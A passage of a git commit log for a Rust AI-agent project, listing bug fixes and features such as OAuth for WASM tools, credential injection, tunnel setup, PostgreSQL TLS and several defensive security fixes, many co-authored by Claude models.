35a79caf87 fix(web): assign unique thread_id to manual routine triggers (#500)
* fix(web): assign unique thread_id to manual routine triggers

Manual routine triggers via the web API created an IncomingMessage
without a thread_id, causing session_manager.resolve_thread() to
route the output to whatever thread was last associated with the
(user, "gateway", None) key. This sets a unique thread_id of the
form "routine-{id}-{timestamp}" so each manual trigger gets its own
dedicated thread.

Closes #484

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add ownership check to routine trigger handler (IDOR)

Address review feedback: verify routine.user_id matches the
authenticated user before allowing the trigger, preventing
unauthorized cross-user routine execution.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 00:41:41 +00:00
85999b25a8 fix(web): refresh routine UI after Run Now trigger (#501)
* fix(web): refresh routine UI after "Run Now" trigger

triggerRoutine() only showed a toast but did not refresh the routine
data after triggering. This adds openRoutineDetail() / loadRoutines()
calls after the toast, matching the pattern used by toggleRoutine().

Closes #483

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: only refresh detail view if triggered routine matches current view

Check currentRoutineId === id before refreshing the detail panel to
avoid refreshing the wrong routine's view.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-04 00:38:48 +00:00
b60e5e907a fix(skills): use slug for skill download URL from ClawHub (#502)
* fix(web): use slug for skill download URL from ClawHub

The skill install handler was using req.name (display name like
"Markdown Converter") instead of the slug (like "owner/markdown-converter")
when constructing the download URL. The registry endpoint expects a slug,
so display names caused 502 errors.

- Add optional `slug` field to SkillInstallRequest
- Prefer slug over name when building the download URL
- JS installSkill() now sends slug from search results

Closes #482

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: guard against empty slug string in skill download URL

Filter out empty slug strings so we fall back to name instead of
constructing an invalid download URL.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-03 23:53:16 +00:00
d562dc8d90 fix(workspace): thread document path through search results (#503)
* fix(workspace): thread document path through search results

Memory search results were showing chunk UUIDs instead of source file
paths. Thread document_path through RankedResult, SearchResult, and the
RRF fusion pipeline so handlers can display the actual file path.

Fixes #481

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use into_iter to move values instead of cloning

Address review feedback: consume results with into_iter() to move
String fields directly instead of cloning them.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-03 23:31:30 +00:00
Nick PismenkovandGitHub c239a4fc2a feat: remove the okta tool (#506) 2026-03-03 21:30:54 +00:00
944968bf76 fix(workspace): import custom templates before seeding defaults (#505)
Swap the order of import_from_directory() and seed_if_empty() so that
custom workspace templates from WORKSPACE_IMPORT_DIR take priority
over generic seeds. Previously, seed_if_empty() ran first and created
all default files, causing import_from_directory() to skip everything
since the files already existed in the DB.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-03 11:14:02 -08:00
18b59ae9a7 feat: add OAuth support for WASM tools in web gateway (#489)
* feat: add OAuth support for WASM tools in web gateway

Extract reusable OAuth functions (build_oauth_url, exchange_oauth_code,
store_oauth_tokens, validate_oauth_token) from CLI into shared
oauth_defaults module, then wire them into the web gateway's
ExtensionManager.

Key changes:
- Install auto-activates WASM tools (no separate Activate button)
- Configure button triggers OAuth flow via save_setup_secrets
- Scope merging: installing a second Google tool triggers re-auth with
  merged scopes from all tools sharing the same secret_name
- Cancel-and-retry: aborting stale OAuth listeners prevents port conflicts
- Post-auth validation: wrong account detected via validation_endpoint
- Reconfigure always re-auths (deletes old token before starting fresh)
- UI shows error toast on OAuth failure, refreshes extension list

Flow: Install → Active → Configure (enter client_id/secret) → Save →
OAuth popup → authorize → done. Second Google tool install auto-triggers
scope expansion OAuth.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: address PR review comments

- Add custom headers support to ValidationEndpointSchema (fixes
  missing Notion-Version header regression)
- Guard activate handler auth check with status == "awaiting_authorization"
  to prevent unexpected OAuth popups
- Add window dimensions to OAuth popup in activateExtension()
- Simplify UTF-8 truncation boundary check

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: address Copilot PR review comments (security, UX, bugs)

- Add CSRF state parameter to OAuth flow (random state in auth URL, validated in callback)
- Restore MCP server Activate button in web UI (was hidden for all non-channel extensions)
- Abort JoinHandle in cleanup_expired_auths to prevent port 9876 conflicts
- Fix Google-specific error message for non-Google OAuth providers
- Add has_auth field to ExtensionInfo API response (fixes Configure button visibility)
- Use oauth_defaults::callback_url() instead of hardcoded redirect_uri (both CLI and manager)
- Update auth check comment to match actual behavior (scope expansion + first-time auth)
- Add unit tests for build_oauth_url (basic, PKCE, extra params, state uniqueness)
- Check all required setup secrets (client_id + client_secret) before starting OAuth

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-04 01:08:40 +08:00
f4855962fc fix: use std::sync::RwLock in MessageTool to avoid runtime panic (#411)
* fix: use std::sync::RwLock in MessageTool to avoid runtime panic

The `requires_approval` method is synchronous but was using
`tokio::sync::RwLock` with `.await` which requires blocking the
runtime. This caused a panic:
"Cannot block the current thread from within a runtime"

Changes:
- Replace `tokio::sync::RwLock` with `std::sync::RwLock` for
  `default_channel` and `default_target` fields
- Use `unwrap_or_else(|e| e.into_inner())` to gracefully handle
  poisoned locks (recovers instead of panicking)
- Update all usages from `.read().await` to `.read().unwrap_or_else()`

The locks are short-held (just cloning strings), making std::sync::RwLock
appropriate for sync methods called from async contexts.

Fixes: "Cannot block the current thread from within a runtime" panic
when the LLM tries to send a message via the message tool.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address code review feedback for MessageTool RwLock fix

- Fix formatting (long lines broken up per rustfmt)
- Add regression test that demonstrates the panic with tokio::sync::RwLock
  and passes with std::sync::RwLock when calling requires_approval()
  (sync method) from async context

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-03 16:16:02 +00:00
f18fb5173b feat(web): fix jobs UI parity for non-sandbox mode (#491)
* feat(web): fix jobs UI parity for non-sandbox mode

The web gateway Jobs UI was built primarily for sandbox (Docker) jobs.
When running without sandbox (common for NEAR AI hosted envs), multiple
features were broken. This change fixes all of them:

- Agent jobs now broadcast live SSE events to the web UI (Activity tab)
- Agent job restart via scheduler.dispatch_job (not chat message)
- Follow-up prompts for agent jobs via WorkerMessage injection
- Capability flags (can_restart, can_prompt, job_kind) in job detail API
- Rate-limit retry with cap (10 consecutive) and Retry-After header parsing
- Plan interruption on user message (breaks out of plan, re-evaluates)
- Correct SSE status field in mark_completed/mark_failed/mark_stuck
- SseManager preserved across rebuild_state calls

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* style: fix formatting in db/mod.rs and nearai_chat.rs

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-03 22:23:30 +08:00
78878ad7ef Remove restart infrastructure, generalize WASM channel setup (#493)
* refactor: remove restart infrastructure and generalize Telegram-specific code

Remove the gateway restart mechanism (hot-activation works, restart won't
fix activation failures) and generalize Telegram-specific hardcoded checks
so all WASM channels get equal treatment.

Part 1 - Remove restart infrastructure:
- Remove needs_restart from ActionResponse, restart_requested from GatewayState
- Remove gateway_restart_handler, /api/gateway/restart route, exit code 75
- Remove restart overlay JS/CSS (dead code - restartGateway() never called)
- Surface actual activation errors instead of suggesting restart

Part 2 - Generalize Telegram-specific code:
- Replace telegram_owner_id: Option<i64> with generic
  wasm_channel_owner_ids: HashMap<String, i64> (backwards-compatible
  via TELEGRAM_OWNER_ID env var)
- Pairing status check now applies to all active WASM channels
- All channels get 3-step stepper in web UI, remove "coming soon" note
- Remove dead setup_telegram() code (~700 lines) - Telegram's
  capabilities.json declares required_secrets, so the generic
  setup_wasm_channel() path handles it

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* test: add Settings::set() test for wasm_channel_owner_ids

Addresses review feedback: verify that setting per-channel owner IDs
via the dotted-path Settings::set() API works correctly with the new
HashMap<String, i64> type.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix(web): refresh extension stepper after pairing approval

loadPairingRequests only refreshed the pairing section, not the
stepper status. Call loadExtensions() instead so the stepper updates
from "Awaiting Pairing" to "Active" immediately after approval.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-03 22:10:32 +08:00
5f841554d5 feat(workspace): add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import (#477)
* feat(workspace): add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import

Add two new OpenClaw-compatible workspace markdown files:

- TOOLS.md: Environment-specific tool notes (SSH hosts, device names,
  etc.) injected into the system prompt under "## Tool Notes". Seeded
  as comment-only (like HEARTBEAT.md) so it's effectively empty until
  the user adds real content. Not write-protected — the agent can
  update it as it learns the environment.

- BOOTSTRAP.md: First-run onboarding ritual. Injected FIRST in the
  system prompt when present. Guides the agent through introducing
  itself, learning about the user, and updating workspace files.
  Only seeded on truly fresh workspaces (no existing identity files)
  to avoid triggering the ritual on existing deployments. Agent clears
  it via `memory_write(target="bootstrap")` when done.

Add `Workspace::import_from_directory()` for disk-to-DB import:

- Scans a directory for *.md files and imports any that don't already
  exist in the database (never overwrites user edits)
- Controlled by WORKSPACE_IMPORT_DIR env var, runs after seed_if_empty()
- Enables Docker images / deployment scripts to ship customized
  workspace templates that override generic seeds
- Backwards compatible: no-op when env var is unset

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: address PR review comments

- Use stable `path.extension() != Some(OsStr::new("md"))` instead of
  unstable `is_none_or` (nightly-only)
- Use `tokio::join!` for concurrent DB reads in fresh-workspace check
- Skip unreadable directory entries instead of failing the entire import
- Skip unreadable files instead of failing the entire import

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 19:00:21 -08:00
6adf95b6d1 fix: wire secrets store into all WASM runtime activation paths (#479)
WASM tools and channels activated at runtime (via web UI or CLI) were
missing secrets store wiring, causing credential injection to silently
fail. Tools like web-search would get 401s from APIs even though the
user had configured their API key.

Four bugs fixed:
- activate_wasm_tool(): WasmToolLoader created without .with_secrets_store()
- register_wasm_from_storage(): hardcoded secrets_store: None
- WasmChannelLoader: no secrets_store field at all (added field + builder)
- activate_wasm_channel() and startup path: both missed wiring secrets

The startup path in app.rs was correct; all runtime paths now match it.

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-02 16:56:24 -08:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
8530f44630 chore: release v0.13.1 (#453)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 21:49:13 +00:00
5257fecca1 feat: add Brave Web Search WASM tool (#474)
* feat: add Brave Web Search WASM tool

Add a new WASM tool for searching the web via the Brave Search API.
Follows the same architecture as the GitHub WASM tool with zero-exposure
credential injection (X-Subscription-Token header).

Features:
- Full Brave Search API support (query, count, country, search_lang,
  ui_lang, freshness)
- Input validation on all parameters
- Retry logic for 429/5xx transient errors
- RFC 3986 percent-encoding
- Registry manifest for Extensions tab discovery

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: avoid Vec allocation in is_valid_ui_lang

Use iterator-based destructuring instead of collecting into a Vec,
avoiding a heap allocation in the WASM sandbox.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:07:18 -08:00
20073ccf57 fix(web): auto-scroll and Enter key completion for slash command autocomplete (#475)
- Add scrollIntoView to keep arrow-key-selected item visible in dropdown
- Make Enter complete the first matching command when autocomplete is
  visible, instead of requiring explicit arrow-key navigation first

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:06:55 -08:00
1a26b1e57f fix: correct download URLs for telegram-mtproto and slack-tool extensions (#470)
The tool manifests pointed to channel bundle URLs (telegram-wasm32-wasip2.tar.gz,
slack-wasm32-wasip2.tar.gz) instead of the tool bundles (telegram-mtproto-...,
slack-tool-...). This caused install to fail because the archive contents
didn't match the expected .wasm filename.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 12:37:50 -08:00
906d618681 fix: add type annotation for Vec<String> to fix Windows build (#452)
The compiler cannot infer the element type of `conflicts` on Windows
because all `push` calls are inside `#[cfg(unix)]` blocks which don't
compile on Windows.

Co-authored-by: Claude Sonnet 4.6 (1M context) <[email protected]>
2026-03-02 04:58:55 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
4a7339f4ed chore: release v0.13.0 (#385)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 03:37:39 +00:00
dc7d9cce34 fix(channels): add host-based credential injection to WASM channel wrapper (#421)
* fix(channels): add host-based credential injection to WASM channel wrapper

The channel WASM wrapper was missing the host-based credential injection
that the tools wrapper implements. The `credentials` block in channel
capabilities files was dead code: Slack's `on_respond` sends requests
with no Authorization header, expecting the host to inject the bot token
based on `host_patterns`, but the host never did.

This caused Slack (and any channel relying on capabilities-declared
credentials) to fail all outbound API calls with `not_authed`.

Changes:
- Add `ResolvedHostCredential` struct mirroring the tools wrapper
- Add `host_credentials` field to `ChannelStoreData`
- Add `inject_host_credentials()` method on `ChannelStoreData`
- Update `redact_credentials()` to also scrub host-injected secret values
- Add `secrets_store` field to `WasmChannel` + `with_secrets_store()` builder
- Add `resolve_channel_host_credentials()` async helper that decrypts
  capabilities-declared credentials before each WASM callback
- Update `create_store()` and all `call_on_*` / `execute_status` /
  `execute_poll` call sites to pre-resolve and pass host credentials
- Fix leak scan ordering: scan runs on WASM-provided values BEFORE host
  credential injection, preventing false-positive blocks on injected
  Bearer tokens (e.g. xoxb- Slack tokens)
- Make `credential_injector` module pub(crate) so channels can reuse
  `inject_credential` and `host_matches_pattern`

Fixes #389, root cause of #413

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(wasm): redact URL-encoded credentials, use url::Url, derive Clone

Address review feedback on PR #421:

1. Security: redact_credentials now scrubs URL-encoded forms of secrets
   in addition to raw values, preventing exfiltration via encoded
   representations in error strings from reqwest
2. Use url::Url::query_pairs_mut() for query parameter injection instead
   of manual string manipulation, improving robustness with malformed URLs
3. Derive Clone on ResolvedHostCredential and simplify the per-tick
   clone in the status repeater loop

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Sprite <[email protected]>
Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-01 19:04:37 -08:00
a21dba0ac1 refactor: rename WasmBuildable::repo_url to source_dir (#445)
* refactor: rename WasmBuildable::repo_url to source_dir

The field receives a local directory path (e.g. "tools-src/gmail"), not a
URL. Rename to source_dir to accurately reflect its purpose.

Adds #[serde(alias = "repo_url")] for backwards compatibility with any
previously serialized data.

Closes #329

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: rename extract_url to extract_source

The function can return a local directory path, not just a URL.
Addresses review feedback on PR #445.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:46 -08:00
bb279ad822 fix: pre-validate Cloudflare tunnel token by spawning cloudflared (#446)
* fix: pre-validate Cloudflare tunnel token by spawning cloudflared

After format validation passes, spawn `cloudflared tunnel run` briefly
with a dummy URL and watch stderr for up to 10s. If an error appears
before a connection URL, report it and offer "Save anyway?". This
catches bad tokens during setup instead of at runtime 30s later.

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: tighten cloudflared output matching in live validation

- Check for cfargotunnel.com/trycloudflare.com in success detection
- Use starts_with("err") instead of contains("err") to avoid false
  positives on words like "stderr"

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:35 -08:00
293a700b69 fix: prevent Telegram 409 Conflict on webhook re-registration (#447)
* fix: prevent Telegram 409 Conflict on webhook re-registration

Delete any existing webhook before calling setWebhook in on_start(),
matching the defensive cleanup that polling mode already does. As a
safety net, register_webhook() now retries once on 409 after calling
delete_webhook().

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: deduplicate 409 retry logic in register_webhook

Restructure the match block so the initial request and retry share
a single response-handling code path.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:26 -08:00
7481aea083 fix: batch of quick fixes (#417, #338, #330, #358, #419, #344) (#428)
- #417: Add Docker auto-start login item hint for macOS in setup wizard
- #338: Add clippy.toml with complexity thresholds for AI-assisted dev
- #330: Add structured FallbackFailed error variant to ExtensionError
- #358: Revoke credential mappings on extension removal (SharedCredentialRegistry)
- #419: Detect conflicting cloudflared services during tunnel setup
- #344: Improve embedding auth failure warning with configuration hint

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 09:01:07 +00:00
Zaki ManianGitHubClaude Opus 4.6Illia Polosukhingemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
fa52df593d fix: persist channel activation state across restarts (#432)
* fix: persist channel activation state across restarts (#392)

Channels activated via the web UI were lost on restart because
active_channel_names was only in memory. Now persist activation state
to the settings store under "activated_channels" and auto-activate
persisted channels on startup.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: log warnings for channel activation load failures

Replace silent catch-all with explicit error logging when
database queries or deserialization fails for activated channels.

Addresses Gemini review feedback on PR #432.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestions from code review

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-03-01 08:53:32 +00:00
7b883a02c0 fix: init WASM runtime eagerly regardless of tools directory existence (#401)
* fix: init WASM runtime eagerly regardless of tools directory existence

The WASM tool runtime was only created at startup when both
`wasm.enabled` and `wasm.tools_dir.exists()` were true. This meant
that if the tools directory didn't exist yet (e.g. fresh deploy with
`--no-onboard`), the runtime was set to None and passed to the
ExtensionManager. Extensions installed later via the web UI would
then fail with "WASM runtime not available" because the runtime
could not be retroactively created.

The Wasmtime engine initialization has no dependency on the tools
directory — it only configures the compiler and starts an epoch
ticker thread. The directory is only needed later when loading
.wasm modules. Remove the directory check so the runtime is
available for post-startup extension activation.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add regression tests for WASM runtime eager init

- runtime.rs: test_runtime_creation_without_tools_dir confirms the
  Wasmtime engine initialises without a tools directory on disk
- manager.rs: test_activate_wasm_tool_with_runtime_passes_runtime_check
  verifies activation gets past the runtime check when a runtime is
  provided (fails on missing file, not missing runtime)
- manager.rs: test_activate_wasm_tool_without_runtime_fails_with_runtime_error
  verifies the original error when no runtime is available

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use idiomatic Result-to-Option conversion for WASM runtime init

Address PR review feedback: replace match block with
.map(Arc::new).map_err(|e| warn!(...)).ok() chain.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting in extension manager tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:51:05 +00:00
3362081192 fix: add TLS support for PostgreSQL connections (#363) (#427)
All PostgreSQL connection sites hardcoded NoTls, preventing connections
to managed providers that require TLS (AWS RDS, Neon, Supabase, etc.).

- Add tokio-postgres-rustls with rustls + system root certificates
- Add SslMode enum (disable/prefer/require) via DATABASE_SSLMODE env var
- Replace NoTls at all 4 production call sites with TLS-aware pool creation
- Add SslMode::from_env() helper for lightweight CLI tools
- Log native cert loading errors and warn on empty root store

Default mode is Prefer (attempts TLS, matching most managed providers).

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:49:09 +00:00
1f2e8c3b72 fix: scan inbound messages for leaked secrets (#433)
* fix: scan inbound messages for leaked secrets before LLM processing (#393)

Add scan_inbound_for_secrets() to SafetyLayer that reuses the existing
leak detector on user input. Wire it into thread_ops.rs after the policy
check so messages containing API keys or tokens are rejected early,
preventing the LLM from echoing them back and triggering outbound
leak-detection error loops.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: unify inbound secret scan warning messages

Both the detected-secret and error branches now show the same
actionable message guiding users to remove secrets and use the
config system instead.

Addresses Gemini review feedback on PR #433.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:45:27 +00:00
dbf3406bf5 fix: use tailscale funnel --bg for proper tunnel setup (#430)
* fix: use tailscale funnel --bg for proper tunnel setup (#394)

The old command `tailscale funnel http://127.0.0.1:3000` would hang
without establishing a tunnel. The correct invocation is
`tailscale funnel --bg <port>` which configures the tunnel as a
background daemon and exits.

Changes:
- Use `--bg` flag with just the port number
- Run as a one-shot command instead of spawning a child process
- Use `tailscale <cmd> off` to tear down (matches --bg semantics)
- health_check uses stored URL instead of non-existent child PID

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use local_host parameter and verify tailscale health

Pass full http://host:port URL to tailscale instead of ignoring
the local_host parameter. Health check now verifies tailscale is
actually running via 'tailscale status --json'.

Addresses Gemini review feedback on PR #430.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:44:08 +00:00
2052cddf1d fix: add missing build.sh for Discord and WhatsApp channels (#429)
* fix: add missing build.sh for Discord and WhatsApp channels (#406)

Both channels had full source code in channels-src/ but no build.sh,
so their WASM binaries were never compiled and they didn't appear in
the setup wizard's channel selection list.

Modeled after the existing channels-src/telegram/build.sh.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: guard wasm-tools availability in WASM build scripts

Add command existence check before invoking wasm-tools in discord
and whatsapp build scripts. Prints actionable error message if missing.

Addresses Gemini review feedback on PR #429.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:41:20 +00:00
ec31e83a7d fix: normalize secret names to lowercase for case-insensitive matching (#413) (#431)
The Slack channel capabilities.json declares secret names in lowercase
(slack_bot_token) but the web UI stored them in UPPERCASE
(SLACK_BOT_TOKEN), causing credential injection to fail with
"not_authed".

Changes:
- CreateSecretParams::new() normalizes name to lowercase on creation
- All SecretsStore lookups (get, exists, delete, is_accessible) now
  lowercase the name parameter before querying
- Applied to all three backends: PostgreSQL, libSQL, InMemory
- CredentialInjector::is_secret_allowed() uses case-insensitive
  comparison

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:33:58 +00:00
f62937d482 fix: persist model name to .env so dotted names survive restart (#426)
* fix: persist model name to .env so dotted names survive restart (#400)

The setup wizard saved selected_model to the DB but not to .env.
Since Config::from_env_with_toml() runs before the DB connects, the
model name was lost on restart -- backends fell back to hardcoded
defaults, truncating names like "llama3.2" to "llama3".

- Add LlmBackend::model_env_var() as single source of truth for the
  backend-to-env-var mapping
- Write the model env var in write_bootstrap_env() using the new method
- Add selected_model fallback to all 6 backends (was missing from
  OpenAI, Anthropic, Ollama, and Tinfoil)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract resolve_model() helper to reduce duplication

Address review feedback: the env → settings → default model resolution
pattern was repeated across all 6 backends.  Centralise it in a single
LlmConfig::resolve_model() helper.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:32:59 +00:00
914f3cd075 fix(setup): check cloudflared binary and validate tunnel token (#424)
* fix(setup): check cloudflared binary and validate tunnel token (#418)

The Cloudflare tunnel setup accepted tokens blindly without checking if
cloudflared was installed or if the token was valid. Now:

- Checks for cloudflared on PATH before accepting a token, with install
  instructions if missing (user can continue anyway)
- Validates token format (base64-decoded JSON with account/tunnel fields)
  with a warning if malformed (user can override)
- Replaces misleading "will start automatically at boot" with honest
  instructions for starting the tunnel and installing as a service
- Reuses binary_exists() from skills::gating (promoted to pub(crate))
  for cross-platform PATH lookup

Closes #418

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: reuse cloudflared_found instead of redundant binary_exists call

Address review feedback: the binary check result was already stored
in cloudflared_found from earlier in the function.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:31:43 +00:00
e794f39726 fix(setup): validate PostgreSQL version and pgvector availability before migrations (#423)
* fix(setup): validate PostgreSQL version and pgvector before migrations

The setup wizard accepted any DATABASE_URL without checking the server
version or pgvector availability. Users who installed PostgreSQL 14
(or any version < 15) got opaque migration failures. Users without
pgvector installed hit CREATE EXTENSION errors at runtime.

After a successful connection, the wizard now:
1. Queries SHOW server_version and rejects versions below 15
2. Checks pg_available_extensions for the vector extension

Both checks provide actionable error messages with platform-specific
install guidance.

Closes #415
Closes #416

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract version constant, fix hex escapes in pgvector message

- Extract MIN_PG_MAJOR_VERSION constant to avoid magic number
- Replace \x20 hex escapes with regular spaces in install guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): use detected PG version in pgvector install instructions

The pgvector install hints were hardcoded for PG 16. Since we already
parse major_version from SHOW server_version, use it dynamically so
users on PG 15 or 17 get correct package names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:29:49 +00:00
c6bfd18401 fix: guard zsh compdef call to prevent error before compinit (#422)
* fix: guard zsh compdef call to prevent error before compinit

The generated ironclaw.zsh completions file calls compdef without
checking if it exists. Users who source this file before compinit
runs in their .zshrc get "compdef: command not found" on every
terminal open.

Wrap the call with the standard (( $+functions[compdef] )) guard.

Closes #420

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(completions): apply compdef guard during zsh generation

Instead of hand-patching the generated ironclaw.zsh file (which is
fragile and lost on regeneration), patch the compdef call in the
generation code itself. The Zsh output is post-processed to wrap
`compdef _ironclaw ironclaw` with a `$+functions[compdef]` guard.

Regenerated ironclaw.zsh from the patched code to stay in sync.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:28:32 +00:00
b987464f45 feat(cli): add tool setup command + GitHub setup schema (#438)
* feat(cli): add `tool setup` command + GitHub setup schema

- Add `ironclaw tool setup <name>` CLI command that reads
  `setup.required_secrets` from a tool's capabilities file and
  prompts the user for each secret, saving them to the encrypted
  secrets store. Handles already-configured secrets (ask to replace),
  optional secrets (skip on empty), and hidden input.

- Add `setup.required_secrets` to GitHub tool capabilities file
  with `github_token` — the only WASM tool that was missing it
  after PR #437 added setup schemas to all other tools.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor(cli): extract init_secrets_store helper + add tool name validation

Address PR review feedback:
- Extract duplicated secrets store initialization (~50 lines) from
  auth_tool and setup_tool into shared init_secrets_store() helper
- Add validate_tool_name() to reject path traversal in tool names
  (applies to both auth_tool and setup_tool)

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-01 06:55:57 +00:00
98467a553e fix(telegram): remove restart button, validate token on setup (#434)
* fix(web): remove gateway restart button from channel activation failure cards

When a WASM channel (e.g. Telegram) fails to hot-activate after setup,
the extension card showed a "Restart" button that calls POST /api/gateway/restart.
This triggers a process exit and relies on an external supervisor to relaunch,
which doesn't work reliably when running inside Docker.

Remove the Restart button entirely from the failed-activation card for all
channels — Reconfigure is the correct recovery action (re-enter credentials).

Also fix two bugs found during review:
- setServerLogLevel/loadServerLogLevel called .json() on the already-parsed
  object returned by apiFetch, causing a silent TypeError that prevented the
  log level selector from updating
- buildBreadcrumb embedded paths in inline onclick JS strings using escapeHtml,
  which doesn't escape single quotes; switched to data-path attribute pattern
  to avoid JS string injection from paths containing quotes

And simplify: collapse the dead Telegram-specific branch in submitConfigureModal
toast messaging — all channels now show "Configured and activated X" on success.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): propagate token validation errors from on_start

Both webhook and polling mode in on_start() swallowed activation errors
from register_webhook/delete_webhook — using `if let Err(e)` to log
but then returning Ok regardless. This caused a bad bot token to show
as "configured and active" instead of failing activation.

Telegram returns {"ok": true} when deleteWebhook is called with no
existing webhook (idempotent), so any error (e.g. 401 Unauthorized)
genuinely means an invalid token.

The WASM is rebuilt automatically via build.rs on cargo build.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): validate bot token before storing, fix misleading toast

Add upfront GET /getMe validation in save_setup_secrets() before writing
